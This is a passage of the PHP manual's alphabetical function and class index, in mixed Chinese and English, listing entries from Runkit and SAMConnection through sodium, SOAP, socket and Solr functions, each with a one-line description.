    • Runkit_Sandbox_Parent - Runkit Anti-Sandbox Class
    • runkit_superglobals - Return numerically indexed array of registered superglobals
  • s
    • SAMConnection::commit - Commits (completes) the current unit of work
    • SAMConnection::connect - Establishes a connection to a Messaging Server
    • SAMConnection::disconnect - Disconnects from a Messaging Server
    • SAMConnection::errno - Contains the unique numeric error code of the last executed SAM operation
    • SAMConnection::error - Contains the text description of the last failed SAM operation
    • SAMConnection::isConnected - Queries whether a connection is established to a Messaging Server
    • SAMConnection::peek - Read a message from a queue without removing it from the queue
    • SAMConnection::peekAll - Read one or more messages from a queue without removing it from the queue
    • SAMConnection::receive - Receive a message from a queue or subscription
    • SAMConnection::remove - Remove a message from a queue
    • SAMConnection::rollback - Cancels (rolls back) an in-flight unit of work
    • SAMConnection::send - Send a message to a queue or publish an item to a topic
    • SAMConnection::setDebug - Turn on or off additional debugging output
    • SAMConnection::subscribe - Create a subscription to a specified topic
    • SAMConnection::unsubscribe - Cancel a subscription to a specified topic
    • SAMConnection::__construct - Creates a new connection to a Messaging Server
    • SAMMessage::body - The body of the message
    • SAMMessage::header - The header properties of the message
    • SAMMessage::__construct - Creates a new Message object
    • sapi_windows_cp_conv - Convert string from one codepage to another
    • sapi_windows_cp_get - Get process codepage
    • sapi_windows_cp_is_utf8 - Indicates whether the codepage is UTF-8 compatible
    • sapi_windows_cp_set - Set process codepage
    • sapi_windows_vt100_support - Get or set VT100 support for the specified stream associated to an output buffer of a Windows console.
    • SCA::createDataObject - Create an SDO
    • SCA::getService - Obtain a proxy for a service
    • scandir - 列出指定路径中的文件和目录
    • SCA_LocalProxy::createDataObject - Create an SDO
    • SCA_SoapProxy::createDataObject - Create an SDO
    • Schema::createCollection - Add collection to schema
    • Schema::dropCollection - Drop collection from schema
    • Schema::existsInDatabase - Check if exists in database
    • Schema::getCollection - Get collection from schema
    • Schema::getCollectionAsTable - Get collection table object
    • Schema::getCollections - Get all schema collections
    • Schema::getName - Get schema name
    • Schema::getSession - Get schema session
    • Schema::getTable - Get schema table
    • Schema::getTables - Get schema tables
    • Schema::__construct - constructor
    • SchemaObject::getSchema - Get schema object
    • SDO_DAS_ChangeSummary::beginLogging - Begin change logging
    • SDO_DAS_ChangeSummary::endLogging - End change logging
    • SDO_DAS_ChangeSummary::getChangedDataObjects - Get the changed data objects from a change summary
    • SDO_DAS_ChangeSummary::getChangeType - Get the type of change made to an SDO_DataObject
    • SDO_DAS_ChangeSummary::getOldContainer - Get the old container for a deleted SDO_DataObject
    • SDO_DAS_ChangeSummary::getOldValues - Get the old values for a given changed SDO_DataObject
    • SDO_DAS_ChangeSummary::isLogging - Test to see whether change logging is switched on
    • SDO_DAS_DataFactory::addPropertyToType - Adds a property to a type
    • SDO_DAS_DataFactory::addType - Add a new type to a model
    • SDO_DAS_DataFactory::getDataFactory - Get a data factory instance
    • SDO_DAS_DataObject::getChangeSummary - Get a data object's change summary
    • SDO_DAS_Relational::applyChanges - Applies the changes made to a data graph back to the database
    • SDO_DAS_Relational::createRootDataObject - Returns the special root object in an otherwise empty data graph. Used when creating a data graph from scratch
    • SDO_DAS_Relational::executePreparedQuery - Executes an SQL query passed as a prepared statement, with a list of values to substitute for placeholders, and return the results as a normalised data graph
    • SDO_DAS_Relational::executeQuery - Executes a given SQL query against a relational database and returns the results as a normalised data graph
    • SDO_DAS_Relational::__construct - Creates an instance of a Relational Data Access Service
    • SDO_DAS_Setting::getListIndex - Get the list index for a changed many-valued property
    • SDO_DAS_Setting::getPropertyIndex - Get the property index for a changed property
    • SDO_DAS_Setting::getPropertyName - Get the property name for a changed property
    • SDO_DAS_Setting::getValue - Get the old value for the changed property
    • SDO_DAS_Setting::isSet - Test whether a property was set prior to being modified
    • SDO_DAS_XML::addTypes - To load a second or subsequent schema file to a SDO_DAS_XML object
    • SDO_DAS_XML::create - To create SDO_DAS_XML object for a given schema file
    • SDO_DAS_XML::createDataObject - Creates SDO_DataObject for a given namespace URI and type name
    • SDO_DAS_XML::createDocument - Creates an XML Document object from scratch, without the need to load a document from a file or string
    • SDO_DAS_XML::loadFile - Returns SDO_DAS_XML_Document object for a given path to xml instance document
    • SDO_DAS_XML::loadString - Returns SDO_DAS_XML_Document for a given xml instance string
    • SDO_DAS_XML::saveFile - Saves the SDO_DAS_XML_Document object to a file
    • SDO_DAS_XML::saveString - Saves the SDO_DAS_XML_Document object to a string
    • SDO_DAS_XML_Document::getRootDataObject - Returns the root SDO_DataObject
    • SDO_DAS_XML_Document::getRootElementName - Returns root element's name
    • SDO_DAS_XML_Document::getRootElementURI - Returns root element's URI string
    • SDO_DAS_XML_Document::setEncoding - Sets the given string as encoding
    • SDO_DAS_XML_Document::setXMLDeclaration - Sets the xml declaration
    • SDO_DAS_XML_Document::setXMLVersion - Sets the given string as xml version
    • SDO_DataFactory::create - Create an SDO_DataObject
    • SDO_DataObject::clear - Clear an SDO_DataObject's properties
    • SDO_DataObject::createDataObject - Create a child SDO_DataObject
    • SDO_DataObject::getContainer - Get a data object's container
    • SDO_DataObject::getSequence - Get the sequence for a data object
    • SDO_DataObject::getTypeName - Return the name of the type for a data object
    • SDO_DataObject::getTypeNamespaceURI - Return the namespace URI of the type for a data object
    • SDO_Exception::getCause - Get the cause of the exception
    • SDO_List::insert - Insert into a list
    • SDO_Model_Property::getContainingType - Get the SDO_Model_Type which contains this property
    • SDO_Model_Property::getDefault - Get the default value for the property
    • SDO_Model_Property::getName - Get the name of the SDO_Model_Property
    • SDO_Model_Property::getType - Get the SDO_Model_Type of the property
    • SDO_Model_Property::isContainment - Test to see if the property defines a containment relationship
    • SDO_Model_Property::isMany - Test to see if the property is many-valued
    • SDO_Model_ReflectionDataObject::export - Get a string describing the SDO_DataObject
    • SDO_Model_ReflectionDataObject::getContainmentProperty - Get the property which defines the containment relationship to the data object
    • SDO_Model_ReflectionDataObject::getInstanceProperties - Get the instance properties of the SDO_DataObject
    • SDO_Model_ReflectionDataObject::getType - Get the SDO_Model_Type for the SDO_DataObject
    • SDO_Model_ReflectionDataObject::__construct - Construct an SDO_Model_ReflectionDataObject
    • SDO_Model_Type::getBaseType - Get the base type for this type
    • SDO_Model_Type::getName - Get the name of the type
    • SDO_Model_Type::getNamespaceURI - Get the namespace URI of the type
    • SDO_Model_Type::getProperties - Get the SDO_Model_Property objects defined for the type
    • SDO_Model_Type::getProperty - Get an SDO_Model_Property of the type
    • SDO_Model_Type::isAbstractType - Test to see if this SDO_Model_Type is an abstract data type
    • SDO_Model_Type::isDataType - Test to see if this SDO_Model_Type is a primitive data type
    • SDO_Model_Type::isInstance - Test for an SDO_DataObject being an instance of this SDO_Model_Type
    • SDO_Model_Type::isOpenType - Test to see if this type is an open type
    • SDO_Model_Type::isSequencedType - Test to see if this is a sequenced type
    • SDO_Sequence::getProperty - Return the property for the specified sequence index
    • SDO_Sequence::insert - Insert into a sequence
    • SDO_Sequence::move - Move an item to another sequence position
    • SeasLog::alert - 记录 alert 日志
    • SeasLog::analyzerCount - Get log count by level, log_path and key_word
    • SeasLog::analyzerDetail - Get log detail by level, log_path, key_word, start, limit, order
    • SeasLog::closeLoggerStream - Manually release stream flow from logger
    • SeasLog::critical - 记录 critical 日志
    • SeasLog::debug - 记录 debug 日志
    • SeasLog::emergency - 记录 emergency 日志
    • SeasLog::error - 记录 error 日志
    • SeasLog::flushBuffer - 将日志缓存刷新到介质中，文件介质，或者发送到远端的 TCP/UDP 服务地址。
    • SeasLog::getBasePath - 获得 SeasLog 根目录
    • SeasLog::getBuffer - 获取内存中的日志缓存数组
    • SeasLog::getBufferEnabled - Determin if buffer enabled
    • SeasLog::getDatetimeFormat - 获取 SeasLog 日期格式
    • SeasLog::getLastLogger - 获得 SeasLog 最近的一次 Logger 名称
    • SeasLog::getRequestID - 获得当前 SeasLog 中用于区分请求的 request_id
    • SeasLog::getRequestVariable - Get SeasLog request variable
    • SeasLog::info - Record info log information
    • SeasLog::log - 公共的日志记录函数
    • SeasLog::notice - 记录 notice 日志
    • SeasLog::setBasePath - 设置 SeasLog 根目录
    • SeasLog::setDatetimeFormat - 设置 SeasLog 日期格式
    • SeasLog::setLogger - 设置 SeasLog 的 Logger 名
    • SeasLog::setRequestID - 设置可以由 SeasLog 用于区分请求的 request_id
    • SeasLog::setRequestVariable - Manually set SeasLog request variable
    • SeasLog::warning - Record warning log information
    • SeasLog::__construct - Description
    • SeasLog::__destruct - Description
    • seaslog_get_author - 获取 SeasLog 作者
    • seaslog_get_version - 获取 SeasLog 的版本
    • SeekableIterator::seek - Seeks to a position
    • sem_acquire - Acquire a semaphore
    • sem_get - Get a semaphore id
    • sem_release - Release a semaphore
    • sem_remove - Remove a semaphore
    • Serializable::serialize - 对象的字符串表示
    • Serializable::unserialize - 构造对象
    • serialize - 产生一个可存储的值的表示
    • Session::close - Close session
    • Session::createSchema - Create new schema
    • Session::dropSchema - Drop a schema
    • Session::generateUUID - Get new UUID
    • Session::getSchema - Get a new schema object
    • Session::getSchemas - Get the schemas
    • Session::getServerVersion - Get server version
    • Session::listClients - Get client list
    • Session::quoteName - Add quotes
    • Session::releaseSavepoint - Release set savepoint
    • Session::rollback - Rollback transaction
    • Session::rollbackTo - Rollback transaction to savepoint
    • Session::setSavepoint - Create savepoint
    • Session::sql - Execute SQL query
    • Session::startTransaction - Start transaction
    • Session::__construct - Description constructor
    • SessionHandler::close - Close the session
    • SessionHandler::create_sid - Return a new session ID
    • SessionHandler::destroy - Destroy a session
    • SessionHandler::gc - Cleanup old sessions
    • SessionHandler::open - Initialize session
    • SessionHandler::read - Read session data
    • SessionHandler::write - Write session data
    • SessionHandlerInterface::close - Close the session
    • SessionHandlerInterface::destroy - Destroy a session
    • SessionHandlerInterface::gc - Cleanup old sessions
    • SessionHandlerInterface::open - Initialize session
    • SessionHandlerInterface::read - Read session data
    • SessionHandlerInterface::write - Write session data
    • session_abort - Discard session array changes and finish session
    • session_cache_expire - 返回当前缓存的到期时间
    • session_cache_limiter - 读取/设置缓存限制器
    • session_commit - session_write_close 的别名
    • session_create_id - Create new session id
    • session_decode - 解码会话数据
    • session_destroy - 销毁一个会话中的全部数据
    • session_encode - 将当前会话数据编码为一个字符串
    • session_gc - Perform session data garbage collection
    • session_get_cookie_params - 获取会话 cookie 参数
    • session_id - 获取/设置当前会话 ID
    • session_is_registered - 检查变量是否在会话中已经注册
    • session_module_name - 获取/设置会话模块名称
    • session_name - 读取/设置会话名称
    • session_pgsql_add_error - Increments error counts and sets last error message
    • session_pgsql_get_error - Returns number of errors and last error message
    • session_pgsql_get_field - Get custom field value
    • session_pgsql_reset - Reset connection to session database servers
    • session_pgsql_set_field - Set custom field value
    • session_pgsql_status - Get current save handler status
    • session_regenerate_id - 使用新生成的会话 ID 更新现有会话 ID
    • session_register - Register one or more global variables with the current session
    • session_register_shutdown - 关闭会话
    • session_reset - Re-initialize session array with original values
    • session_save_path - 读取/设置当前会话的保存路径
    • session_set_cookie_params - 设置会话 cookie 参数
    • session_set_save_handler - 设置用户自定义会话存储函数
    • session_start - 启动新会话或者重用现有会话
    • session_status - 返回当前会话状态
    • session_unregister - Unregister a global variable from the current session
    • session_unset - 释放所有的会话变量
    • session_write_close - Write session data and end session
    • setcookie - 发送 Cookie
    • setlocale - 设置地区信息
    • setproctitle - Set the process title
    • setrawcookie - 发送未经 URL 编码的 cookie
    • setthreadtitle - Set the thread title
    • settype - 设置变量的类型
    • set_error_handler - 设置用户自定义的错误处理函数
    • set_exception_handler - 设置用户自定义的异常处理函数
    • set_file_buffer - stream_set_write_buffer 的别名
    • set_include_path - 设置 include_path 配置选项
    • set_magic_quotes_runtime - 设置当前 magic_quotes_runtime 配置选项的激活状态
    • set_socket_blocking - 别名 stream_set_blocking
    • set_time_limit - 设置脚本最大执行时间
    • sha1 - 计算字符串的 sha1 散列值
    • sha1_file - 计算文件的 sha1 散列值
    • shell_exec - 通过 shell 环境执行命令，并且将完整的输出以字符串的方式返回。
    • shmop_close - Close shared memory block
    • shmop_delete - Delete shared memory block
    • shmop_open - Create or open shared memory block
    • shmop_read - Read data from shared memory block
    • shmop_size - Get size of shared memory block
    • shmop_write - Write data into shared memory block
    • shm_attach - Creates or open a shared memory segment
    • shm_detach - Disconnects from shared memory segment
    • shm_get_var - Returns a variable from shared memory
    • shm_has_var - Check whether a specific entry exists
    • shm_put_var - Inserts or updates a variable in shared memory
    • shm_remove - Removes shared memory from Unix systems
    • shm_remove_var - Removes a variable from shared memory
    • show_source - 别名 highlight_file
    • shuffle - 打乱数组
    • similar_text - 计算两个字符串的相似度
    • SimpleXMLElement::addAttribute - Adds an attribute to the SimpleXML element
    • SimpleXMLElement::addChild - Adds a child element to the XML node
    • SimpleXMLElement::asXML - Return a well-formed XML string based on SimpleXML element
    • SimpleXMLElement::attributes - Identifies an element's attributes
    • SimpleXMLElement::children - Finds children of given node
    • SimpleXMLElement::count - Counts the children of an element
    • SimpleXMLElement::getDocNamespaces - Returns namespaces declared in document
    • SimpleXMLElement::getName - Gets the name of the XML element
    • SimpleXMLElement::getNamespaces - Returns namespaces used in document
    • SimpleXMLElement::registerXPathNamespace - Creates a prefix/ns context for the next XPath query
    • SimpleXMLElement::saveXML - 别名 SimpleXMLElement::asXML
    • SimpleXMLElement::xpath - Runs XPath query on XML data
    • SimpleXMLElement::__construct - Creates a new SimpleXMLElement object
    • SimpleXMLElement::__toString - Returns the string content
    • SimpleXMLIterator::current - Returns the current element
    • SimpleXMLIterator::getChildren - Returns the sub-elements of the current element
    • SimpleXMLIterator::hasChildren - Checks whether the current element has sub elements
    • SimpleXMLIterator::key - Return current key
    • SimpleXMLIterator::next - Move to next element
    • SimpleXMLIterator::rewind - Rewind to the first element
    • SimpleXMLIterator::valid - Check whether the current element is valid
    • simplexml_import_dom - Get a SimpleXMLElement object from a DOM node
    • simplexml_load_file - Interprets an XML file into an object
    • simplexml_load_string - Interprets a string of XML into an object
    • sin - 正弦
    • sinh - 双曲正弦
    • sizeof - count 的别名
    • sleep - 延缓执行
    • snmp2_get - Fetch an SNMP object
    • snmp2_getnext - Fetch the SNMP object which follows the given object id
    • snmp2_real_walk - Return all objects including their respective object ID within the specified one
    • snmp2_set - Set the value of an SNMP object
    • snmp2_walk - Fetch all the SNMP objects from an agent
    • snmp3_get - Fetch an SNMP object
    • snmp3_getnext - Fetch the SNMP object which follows the given object id
    • snmp3_real_walk - Return all objects including their respective object ID within the specified one
    • snmp3_set - Set the value of an SNMP object
    • snmp3_walk - Fetch all the SNMP objects from an agent
    • SNMP::close - Close SNMP session
    • SNMP::get - Fetch an SNMP object
    • SNMP::getErrno - Get last error code
    • SNMP::getError - Get last error message
    • SNMP::getnext - Fetch an SNMP object which follows the given object id
    • SNMP::set - Set the value of an SNMP object
    • SNMP::setSecurity - Configures security-related SNMPv3 session parameters
    • SNMP::walk - Fetch SNMP object subtree
    • SNMP::__construct - Creates SNMP instance representing session to remote SNMP agent
    • snmpget - 获取一个 SNMP 对象
    • snmpgetnext - Fetch the SNMP object which follows the given object id
    • snmprealwalk - 返回指定的所有对象，包括它们各自的对象 ID
    • snmpset - 设置一个 SNMP 对象
    • snmpwalk - 从代理返回所有的 SNMP 对象
    • snmpwalkoid - 查询关于网络实体的信息树
    • snmp_get_quick_print - 返回 UCD 库中 quick_print 设置的当前值
    • snmp_get_valueretrieval - Return the method how the SNMP values will be returned
    • snmp_read_mib - Reads and parses a MIB file into the active MIB tree
    • snmp_set_enum_print - Return all values that are enums with their enum value instead of the raw integer
    • snmp_set_oid_numeric_print - Set the OID output format
    • snmp_set_oid_output_format - Set the OID output format
    • snmp_set_quick_print - 设置 UCD SNMP 库中 quick_print 的值
    • snmp_set_valueretrieval - Specify the method how the SNMP values will be returned
    • SoapClient::SoapClient - SoapClient constructor
    • SoapClient::__call - Calls a SOAP function (deprecated)
    • SoapClient::__construct - SoapClient constructor
    • SoapClient::__doRequest - Performs a SOAP request
    • SoapClient::__getCookies - Get list of cookies
    • SoapClient::__getFunctions - Returns list of available SOAP functions
    • SoapClient::__getLastRequest - Returns last SOAP request
    • SoapClient::__getLastRequestHeaders - Returns the SOAP headers from the last request
    • SoapClient::__getLastResponse - Returns last SOAP response
    • SoapClient::__getLastResponseHeaders - Returns the SOAP headers from the last response
    • SoapClient::__getTypes - Returns a list of SOAP types
    • SoapClient::__setCookie - The __setCookie purpose
    • SoapClient::__setLocation - Sets the location of the Web service to use
    • SoapClient::__setSoapHeaders - Sets SOAP headers for subsequent calls
    • SoapClient::__soapCall - Calls a SOAP function
    • SoapFault::SoapFault - SoapFault constructor
    • SoapFault::__construct - SoapFault constructor
    • SoapFault::__toString - Obtain a string representation of a SoapFault
    • SoapHeader::SoapHeader - SoapHeader constructor
    • SoapHeader::__construct - SoapHeader constructor
    • SoapParam::SoapParam - SoapParam constructor
    • SoapParam::__construct - SoapParam constructor
    • SoapServer::addFunction - 添加一个或多个函数来处理SOAP请求
    • SoapServer::addSoapHeader - Add a SOAP header to the response
    • SoapServer::fault - Issue SoapServer fault indicating an error
    • SoapServer::getFunctions - Returns list of defined functions
    • SoapServer::handle - Handles a SOAP request
    • SoapServer::setClass - Sets the class which handles SOAP requests
    • SoapServer::setObject - Sets the object which will be used to handle SOAP requests
    • SoapServer::setPersistence - Sets SoapServer persistence mode
    • SoapServer::SoapServer - SoapServer constructor
    • SoapServer::__construct - SoapServer constructor
    • SoapVar::SoapVar - SoapVar constructor
    • SoapVar::__construct - SoapVar constructor
    • socket_accept - Accepts a connection on a socket
    • socket_addrinfo_bind - Create and bind to a socket from a given addrinfo
    • socket_addrinfo_connect - Create and connect to a socket from a given addrinfo
    • socket_addrinfo_explain - Get information about addrinfo
    • socket_addrinfo_lookup - Get array with contents of getaddrinfo about the given hostname
    • socket_bind - 给套接字绑定名字
    • socket_clear_error - 清除套接字或者最后的错误代码上的错误
    • socket_close - 关闭套接字资源
    • socket_cmsg_space - Calculate message buffer size
    • socket_connect - 开启一个套接字连接
    • socket_create - 创建一个套接字（通讯节点）
    • socket_create_listen - Opens a socket on port to accept connections
    • socket_create_pair - Creates a pair of indistinguishable sockets and stores them in an array
    • socket_export_stream - Export a socket extension resource into a stream that encapsulates a socket
    • socket_getopt - 别名 socket_get_option
    • socket_getpeername - Queries the remote side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type
    • socket_getsockname - Queries the local side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type
    • socket_get_option - Gets socket options for the socket
    • socket_get_status - 别名 stream_get_meta_data
    • socket_import_stream - Import a stream
    • socket_last_error - Returns the last error on the socket
    • socket_listen - Listens for a connection on a socket
    • socket_read - Reads a maximum of length bytes from a socket
    • socket_recv - 从已连接的socket接收数据
    • socket_recvfrom - Receives data from a socket whether or not it is connection-oriented
    • socket_recvmsg - Read a message
    • socket_select - Runs the select() system call on the given arrays of sockets with a specified timeout
    • socket_send - Sends data to a connected socket
    • socket_sendmsg - Send a message
    • socket_sendto - Sends a message to a socket, whether it is connected or not
    • socket_setopt - 别名 socket_set_option
    • socket_set_block - Sets blocking mode on a socket resource
    • socket_set_blocking - 别名 stream_set_blocking
    • socket_set_nonblock - Sets nonblocking mode for file descriptor fd
    • socket_set_option - Sets socket options for the socket
    • socket_set_timeout - 别名 stream_set_timeout
    • socket_shutdown - Shuts down a socket for receiving, sending, or both
    • socket_strerror - Return a string describing a socket error
    • socket_write - Write to a socket
    • socket_wsaprotocol_info_export - Exports the WSAPROTOCOL_INFO Structure
    • socket_wsaprotocol_info_import - Imports a Socket from another Process
    • socket_wsaprotocol_info_release - Releases an exported WSAPROTOCOL_INFO Structure
    • sodium_add - Add large numbers
    • sodium_base642bin - Description
    • sodium_bin2base64 - Description
    • sodium_bin2hex - Encode to hexadecimal
    • sodium_compare - Compare large numbers
    • sodium_crypto_aead_aes256gcm_decrypt - Decrypt in combined mode with precalculation
    • sodium_crypto_aead_aes256gcm_encrypt - Encrypt in combined mode with precalculation
    • sodium_crypto_aead_aes256gcm_is_available - Check if hardware supports AES256-GCM
    • sodium_crypto_aead_aes256gcm_keygen - Get random bytes for key
    • sodium_crypto_aead_chacha20poly1305_decrypt - Verify that the ciphertext includes a valid tag
    • sodium_crypto_aead_chacha20poly1305_encrypt - Encrypt a message
    • sodium_crypto_aead_chacha20poly1305_ietf_decrypt - Verify that the ciphertext includes a valid tag
    • sodium_crypto_aead_chacha20poly1305_ietf_encrypt - Encrypt a message
    • sodium_crypto_aead_chacha20poly1305_ietf_keygen - Get random bytes for key
    • sodium_crypto_aead_chacha20poly1305_keygen - Get random bytes for key
    • sodium_crypto_aead_xchacha20poly1305_ietf_decrypt - Description
    • sodium_crypto_aead_xchacha20poly1305_ietf_encrypt - Description
    • sodium_crypto_aead_xchacha20poly1305_ietf_keygen - Description
    • sodium_crypto_auth - Compute a tag for the message
    • sodium_crypto_auth_keygen - Get random bytes for key
    • sodium_crypto_auth_verify - Verifies that the tag is valid for the message
    • sodium_crypto_box - Encrypt a message
    • sodium_crypto_box_keypair - Randomly generate a secret key and a corresponding public key
    • sodium_crypto_box_keypair_from_secretkey_and_publickey - Description
    • sodium_crypto_box_open - Verify and decrypt a ciphertext
    • sodium_crypto_box_publickey - Description
    • sodium_crypto_box_publickey_from_secretkey - Description
    • sodium_crypto_box_seal - Encrypt a message
    • sodium_crypto_box_seal_open - Decrypt the ciphertext
    • sodium_crypto_box_secretkey - Description
    • sodium_crypto_box_seed_keypair - Deterministically derive the key pair from a single key
    • sodium_crypto_generichash - Get a hash of the message
    • sodium_crypto_generichash_final - Complete the hash
    • sodium_crypto_generichash_init - Initialize a hash
    • sodium_crypto_generichash_keygen - Get random bytes for key
    • sodium_crypto_generichash_update - Add message to a hash
    • sodium_crypto_kdf_derive_from_key - Derive a subkey
    • sodium_crypto_kdf_keygen - Get random bytes for key
    • sodium_crypto_kx_client_session_keys - Description
    • sodium_crypto_kx_keypair - Creates a new sodium keypair
    • sodium_crypto_kx_publickey - Description
    • sodium_crypto_kx_secretkey - Description
    • sodium_crypto_kx_seed_keypair - Description
    • sodium_crypto_kx_server_session_keys - Description
    • sodium_crypto_pwhash - Derive a key from a password
    • sodium_crypto_pwhash_scryptsalsa208sha256 - Derives a key from a password
    • sodium_crypto_pwhash_scryptsalsa208sha256_str - Get an ASCII encoded hash
    • sodium_crypto_pwhash_scryptsalsa208sha256_str_verify - Verify that the password is a valid password verification string
    • sodium_crypto_pwhash_str - Get an ASCII-encoded hash
    • sodium_crypto_pwhash_str_needs_rehash - Description
    • sodium_crypto_pwhash_str_verify - Verifies that a password matches a hash
    • sodium_crypto_scalarmult - Compute a shared secret given a user's secret key and another user's public key
    • sodium_crypto_scalarmult_base - 别名 sodium_crypto_box_publickey_from_secretkey
    • sodium_crypto_secretbox - Encrypt a message
    • sodium_crypto_secretbox_keygen - Get random bytes for key
    • sodium_crypto_secretbox_open - Verify and decrypt a ciphertext
    • sodium_crypto_secretstream_xchacha20poly1305_init_pull - Description
    • sodium_crypto_secretstream_xchacha20poly1305_init_push - Description
    • sodium_crypto_secretstream_xchacha20poly1305_keygen - Description
    • sodium_crypto_secretstream_xchacha20poly1305_pull - Description
    • sodium_crypto_secretstream_xchacha20poly1305_push - Description
    • sodium_crypto_secretstream_xchacha20poly1305_rekey - Description
    • sodium_crypto_shorthash - Compute a fixed-size fingerprint for the message
    • sodium_crypto_shorthash_keygen - Get random bytes for key
    • sodium_crypto_sign - Sign a message
    • sodium_crypto_sign_detached - Sign the message
    • sodium_crypto_sign_ed25519_pk_to_curve25519 - Convert an Ed25519 public key to a Curve25519 public key
    • sodium_crypto_sign_ed25519_sk_to_curve25519 - Convert an Ed25519 secret key to a Curve25519 secret key
    • sodium_crypto_sign_keypair - Randomly generate a secret key and a corresponding public key
    • sodium_crypto_sign_keypair_from_secretkey_and_publickey - Description
    • sodium_crypto_sign_open - Check that the signed message has a valid signature
    • sodium_crypto_sign_publickey - Description
    • sodium_crypto_sign_publickey_from_secretkey - Extract the public key from the secret key
    • sodium_crypto_sign_secretkey - Description
    • sodium_crypto_sign_seed_keypair - Deterministically derive the key pair from a single key
    • sodium_crypto_sign_verify_detached - Verify signature for the message
    • sodium_crypto_stream - Generate a deterministic sequence of bytes from a seed
    • sodium_crypto_stream_keygen - Get random bytes for key
    • sodium_crypto_stream_xor - Encrypt a message
    • sodium_hex2bin - Decodes a hexadecimally encoded binary string
    • sodium_increment - Increment large number
    • sodium_memcmp - Test for equality in constant-time
    • sodium_memzero - Overwrite buf with zeros
    • sodium_pad - Add padding data
    • sodium_unpad - Remove padding data
    • SolrClient::addDocument - Adds a document to the index
    • SolrClient::addDocuments - Adds a collection of SolrInputDocument instances to the index
    • SolrClient::commit - Finalizes all add/deletes made to the index
    • SolrClient::deleteById - Delete by Id
    • SolrClient::deleteByIds - Deletes by Ids
    • SolrClient::deleteByQueries - Removes all documents matching any of the queries
    • SolrClient::deleteByQuery - Deletes all documents matching the given query
    • SolrClient::getById - Get Document By Id. Utilizes Solr Realtime Get (RTG)
    • SolrClient::getByIds - Get Documents by their Ids. Utilizes Solr Realtime Get (RTG)
    • SolrClient::getDebug - Returns the debug data for the last connection attempt
    • SolrClient::getOptions - Returns the client options set internally
    • SolrClient::optimize - Defragments the index
    • SolrClient::ping - Checks if Solr server is still up
    • SolrClient::query - Sends a query to the server
    • SolrClient::request - Sends a raw update request
    • SolrClient::rollback - Rollbacks all add/deletes made to the index since the last commit
    • SolrClient::setResponseWriter - Sets the response writer used to prepare the response from Solr
    • SolrClient::setServlet - Changes the specified servlet type to a new value
    • SolrClient::system - Retrieve Solr Server information
    • SolrClient::threads - Checks the threads status
    • SolrClient::__construct - Constructor for the SolrClient object
    • SolrClient::__destruct - Destructor for SolrClient
    • SolrClientException::getInternalInfo - Returns internal information where the Exception was thrown
    • SolrCollapseFunction::getField - Returns the field that is being collapsed on
    • SolrCollapseFunction::getHint - Returns collapse hint
    • SolrCollapseFunction::getMax - Returns max parameter
    • SolrCollapseFunction::getMin - Returns min parameter
    • SolrCollapseFunction::getNullPolicy - Returns null policy
    • SolrCollapseFunction::getSize - Returns size parameter
    • SolrCollapseFunction::setField - Sets the field to collapse on
    • SolrCollapseFunction::setHint - Sets collapse hint
    • SolrCollapseFunction::setMax - Selects the group heads by the max value of a numeric field or function query
    • SolrCollapseFunction::setMin - Sets the initial size of the collapse data structures when collapsing on a numeric field only
    • SolrCollapseFunction::setNullPolicy - Sets the NULL Policy
    • SolrCollapseFunction::setSize - Sets the initial size of the collapse data structures when collapsing on a numeric field only
    • SolrCollapseFunction::__construct - Constructor
    • SolrCollapseFunction::__toString - Returns a string representing the constructed collapse function
    • SolrDisMaxQuery::addBigramPhraseField - Adds a Phrase Bigram Field (pf2 parameter)
    • SolrDisMaxQuery::addBoostQuery - Adds a boost query field with value and optional boost (bq parameter)
    • SolrDisMaxQuery::addPhraseField - Adds a Phrase Field (pf parameter)
    • SolrDisMaxQuery::addQueryField - Add a query field with optional boost (qf parameter)
    • SolrDisMaxQuery::addTrigramPhraseField - Adds a Trigram Phrase Field (pf3 parameter)
    • SolrDisMaxQuery::addUserField - Adds a field to User Fields Parameter (uf)
    • SolrDisMaxQuery::removeBigramPhraseField - Removes phrase bigram field (pf2 parameter)
    • SolrDisMaxQuery::removeBoostQuery - Removes a boost query partial by field name (bq)
    • SolrDisMaxQuery::removePhraseField - Removes a Phrase Field (pf parameter)
    • SolrDisMaxQuery::removeQueryField - Removes a Query Field (qf parameter)
    • SolrDisMaxQuery::removeTrigramPhraseField - Removes a Trigram Phrase Field (pf3 parameter)
    • SolrDisMaxQuery::removeUserField - Removes a field from The User Fields Parameter (uf)
    • SolrDisMaxQuery::setBigramPhraseFields - Sets Bigram Phrase Fields and their boosts (and slops) using pf2 parameter
    • SolrDisMaxQuery::setBigramPhraseSlop - Sets Bigram Phrase Slop (ps2 parameter)
    • SolrDisMaxQuery::setBoostFunction - Sets a Boost Function (bf parameter)
    • SolrDisMaxQuery::setBoostQuery - Directly Sets Boost Query Parameter (bq)
    • SolrDisMaxQuery::setMinimumMatch - Set Minimum "Should" Match (mm)
    • SolrDisMaxQuery::setPhraseFields - Sets Phrase Fields and their boosts (and slops) using pf2 parameter
    • SolrDisMaxQuery::setPhraseSlop - Sets the default slop on phrase queries (ps parameter)
    • SolrDisMaxQuery::setQueryAlt - Set Query Alternate (q.alt parameter)
    • SolrDisMaxQuery::setQueryPhraseSlop - Specifies the amount of slop permitted on phrase queries explicitly included in the user's query string (qf parameter)
    • SolrDisMaxQuery::setTieBreaker - Sets Tie Breaker parameter (tie parameter)
    • SolrDisMaxQuery::setTrigramPhraseFields - Directly Sets Trigram Phrase Fields (pf3 parameter)
    • SolrDisMaxQuery::setTrigramPhraseSlop - Sets Trigram Phrase Slop (ps3 parameter)
    • SolrDisMaxQuery::setUserFields - Sets User Fields parameter (uf)
    • SolrDisMaxQuery::useDisMaxQueryParser - Switch QueryParser to be DisMax Query Parser
    • SolrDisMaxQuery::useEDisMaxQueryParser - Switch QueryParser to be EDisMax
    • SolrDisMaxQuery::__construct - Class Constructor
    • SolrDocument::addField - Adds a field to the document
    • SolrDocument::clear - Drops all the fields in the document
    • SolrDocument::current - Retrieves the current field
    • SolrDocument::deleteField - Removes a field from the document
    • SolrDocument::fieldExists - Checks if a field exists in the document
    • SolrDocument::getChildDocuments - Returns an array of child documents (SolrDocument)
    • SolrDocument::getChildDocumentsCount - Returns the number of child documents
    • SolrDocument::getField - Retrieves a field by name
    • SolrDocument::getFieldCount - Returns the number of fields in this document
    • SolrDocument::getFieldNames - Returns an array of fields names in the document
    • SolrDocument::getInputDocument - Returns a SolrInputDocument equivalent of the object
    • SolrDocument::hasChildDocuments - Checks whether the document has any child documents
